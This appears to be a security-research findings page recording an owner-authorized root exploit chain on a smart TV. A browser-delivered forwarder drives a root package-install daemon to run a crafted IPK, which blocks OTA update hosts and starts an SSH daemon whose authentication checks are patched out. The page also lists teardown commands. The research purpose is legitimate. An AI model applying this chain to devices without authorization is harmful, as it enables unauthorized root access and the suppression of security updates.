docs / models / 55E7QTUK / V0000.09.09D.P1001 / findings

05 β€” Root SSH achieved (2026-11-08)

Phase 3 on a 55E7QTUK (09.09D.P1001, MTK9603, armv7 userland, enforcing SELinux β€” 04). Executed the 100U7Q/75UR9S/55A7KAU superwatch chain end-to-end on this unit, with owner authorization ("block OTA, and then arm it"). Read-write on rw partitions only; verified boot untouched; /OAD never written.

The chain that worked (verified)

TV browser page (fetcher FaaS, wss://localhost:9888 start + vowOS syncExecute)
  └─ fetchFile: settings installed as uid 314:
       /APPS/pkgs/tv.vidaa.jsservice.basic/CHA/functions/fetch/alvarm2.js  (forwarder)
       /APPS/installer.ipk
  └─ POST http://localhost:9009/function/basic/fetch/alvarm2      (fresh name per arm!)
       body {"list":[ "<sid>:54:<sid>;re.installer",
                      "<sid>:53:<sid>;/APPS/installer.ipk;re.installer;" ]}
        └─ superwatch_server (root, /var/run/superwatch_socket, 0660 0:616)
             └─ wire: 4-byte LE length prefix + payload
             └─ ipk_install.sh β†’ opkg --force-reinstall install re.installer
                  └─ postinst: Uid 0, CapEff 000001ffffffffff
                       β”œβ”€β”€ OTA freeze FIRST: REJECT 8.8.8.8/8.8.4.4 (DoH/DNS
                       β”‚   hard lane) + REJECT 131.189.69.51 (ota-tv +
                       β”‚   upgrade-plc host; CDN-shared with auth/file-ul β€”
                       β”‚   collateral accepted by owner)
                       β”œβ”€β”€ deploys static ARMv7 dropbear 2026.94 (this
                       β”‚   session's own build; 0 DT_NEEDED) at /APPS/.re_sshd
                       β”œβ”€β”€ keys-only dropbear on 0.0.0.0:8008 with
                       β”‚   -D /APPS/.re_sshd/root_home/.ssh (per-TV ed25519 key)
                       β”œβ”€β”€ /APPS/shell whitelist (/bin/sh + /bin/bash)
                       └── accepts 8008 in FIREWALL_IN_EULAON
                            └─ ssh -i server/keys/e7qtv-root -p 8008 root@<tv-ip>
                                 Uid 0 0 0 0; CapEff 000001ffffffffff

The gauntlet, item by item (all owner-visible, all recorded)

Check on the way This unit's answer
kernel arch for the static binary 32-bit ARM (EABI5) β€” aarch64 static-PIE rejected early exit "cannot execute binary file" (ENOEXEC) β€” the armv7 build runs
dropbear's DROPBEAR_SVR_MULTIUSER must be 1: a second ./configure regenerates localoptions.h and silently reverts the patch β€” children answered every connection Non-multiuser Dropbear requires a non-multiuser kernel; banner then kex never followed
vendor firewall debug-port blacklist FIREWALL_IN_EULAON chain present; postinst inserts ACCEPT dpt:8008 at position 1 (deduped)
authorized_keys location -D replaces the whole dir component (default ~/.ssh) β€” the file must be at -D dir/authorized_keys; our patch: -D $D/root_home/.ssh
login shell factory gate patched get_user_shell() returns /bin/sh; the shell-validity check is skipped (patched getusershell()) β€” the build's /etc/shells is absent and /bin/sh would fail it
permissions walk on authorized_keys patched checkpubkeyperms() returns success (vendor /var world-writable by design)
OTA freeze from the hook the rc.local path is SELinux-dead pre-root (04) β€” the freeze lives in the postinst instead, which is the first thing root

The superwatch protocol on THIS unit (measured, per id)

Traps recorded (each reproducible on this build)

State left on the TV (as-is; not boot-persistent)

Boot persistence β€” deliberately not armed

The root session dies at the next reboot (postinst doesn't re-run: the md5sum chain of an opkg install happens once). The two persistence routes both documented in the repo audits: (a) the 75U8QTUK re_sshd serviceList autostart IPK (postinst reloads the binary at every boot), and (b) the relocated hook lane (with post-root relabel). Persisting root is a separate owner decision and NOT landed either way on this TV.

Teardown (verified commands)

# kill the session
kill $(cat /APPS/.re_sshd/dropbear.pid)
# uninstall through the server message lane (superwatch 54) or directly:
opkg remove re.installer 2>&1 | tail -2
# files
rm -rf /APPS/.re_sshd /APPS/installer.ipk
rm -f /APPS/pkgs/tv.vidaa.jsservice.basic/CHA/functions/fetch/{sw2,alvdiag,alvdiag2,alvarm,alvarm2,alvproc}.js
rm -f /APPS/.sw2probe.json /APPS/.alvdiag.json /APPS/.alv_phase3_probe
rm -f /var/local/otaTest.sh            # inert but resident
# uninstall on OUTPUT (session-only anyway)
iptables -D OUTPUT -d 8.8.8.8 -j REJECT 2>/dev/null
iptables -D OUTPUT -d 8.8.4.4 -j REJECT 2>/dev/null
iptables -D OUTPUT -d 131.189.69.51 -j REJECT 2>/dev/null